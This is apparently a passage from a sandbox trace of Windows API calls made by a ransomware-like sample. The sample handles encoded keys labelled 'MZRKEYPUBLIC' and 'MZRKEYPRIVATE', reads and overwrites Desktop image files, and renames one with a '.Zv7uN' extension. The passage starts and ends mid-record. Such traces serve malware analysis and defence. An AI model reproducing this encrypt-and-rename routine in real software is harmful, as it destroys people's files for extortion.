lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.985] GetCurrentThreadId () returned 0xa30 [0126.985] GetCurrentThreadId () returned 0xa30 [0126.985] GetCurrentThreadId () returned 0xa30 [0126.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n2KIK6waBvBzsoa2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n2kik6wabvbzsoa2.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.985] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.986] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.986] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x82c8 [0126.986] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.986] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x82c8, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x82c8, lpOverlapped=0x0) returned 1 [0126.988] CloseHandle (hObject=0x120) returned 1 [0126.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n2KIK6waBvBzsoa2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n2kik6wabvbzsoa2.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.993] WriteFile (in: hFile=0x120, lpBuffer=0x1f02fa0*, nNumberOfBytesToWrite=0x82c8, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f02fa0*, lpNumberOfBytesWritten=0x18f978*=0x82c8, lpOverlapped=0x0) returned 1 [0126.996] CloseHandle (hObject=0x120) returned 1 [0126.997] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n2KIK6waBvBzsoa2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n2kik6wabvbzsoa2.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n2KIK6waBvBzsoa2.bmp.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n2kik6wabvbzsoa2.bmp.zv7un")) returned 1 [0127.000] GetCurrentThreadId () returned 0xa30 [0127.000] GetCurrentThreadId () returned 0xa30 [0127.000] GetCurrentThreadId () returned 0xa30 [0127.000] GetCurrentThreadId () returned 0xa30 [0127.000] GetCurrentThreadId () returned 0xa30 [0127.000] GetCurrentThreadId () returned 0xa30 [0127.000] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2197e70, ftCreationTime.dwHighDateTime=0x1d5d858, ftLastAccessTime.dwLowDateTime=0xa62dfdd0, ftLastAccessTime.dwHighDateTime=0x1d5df74, ftLastWriteTime.dwLowDateTime=0xa62dfdd0, ftLastWriteTime.dwHighDateTime=0x1d5df74, nFileSizeHigh=0x0, nFileSizeLow=0x1394e, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="PyTen.jpg", cAlternateFileName="")) returned 1 [0127.000] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.000] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.000] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PyTen.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyten.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2197e70, ftCreationTime.dwHighDateTime=0x1d5d858, ftLastAccessTime.dwLowDateTime=0xa62dfdd0, ftLastAccessTime.dwHighDateTime=0x1d5df74, ftLastWriteTime.dwLowDateTime=0xa62dfdd0, ftLastWriteTime.dwHighDateTime=0x1d5df74, nFileSizeHigh=0x0, nFileSizeLow=0x1394e)) returned 1 [0127.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PyTen.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyten.jpg")) returned 0x20 [0127.001] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PyTen.jpg", dwFileAttributes=0x80) returned 1 [0127.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.005] GetCurrentThreadId () returned 0xa30 [0127.005] GetCurrentThreadId () returned 0xa30 [0127.005] GetCurrentThreadId () returned 0xa30 [0127.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.006] GetCurrentThreadId () returned 0xa30 [0127.006] GetCurrentThreadId () returned 0xa30 [0127.006] GetCurrentThreadId () returned 0xa30 [0127.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PyTen.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyten.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.007] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.007] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.007] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1394e [0127.007] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.007] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x1394e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x1394e, lpOverlapped=0x0) returned 1 [0127.010] CloseHandle (hObject=0x120) returned 1 [0127.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PyTen.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyten.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.016] WriteFile (in: hFile=0x120, lpBuffer=0x1f0cfa0*, nNumberOfBytesToWrite=0x1394e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f0cfa0*, lpNumberOfBytesWritten=0x18f978*=0x1394e, lpOverlapped=0x0) returned 1 [0127.021] CloseHandle (hObject=0x120) returned 1 [0127.022] MoveFileW 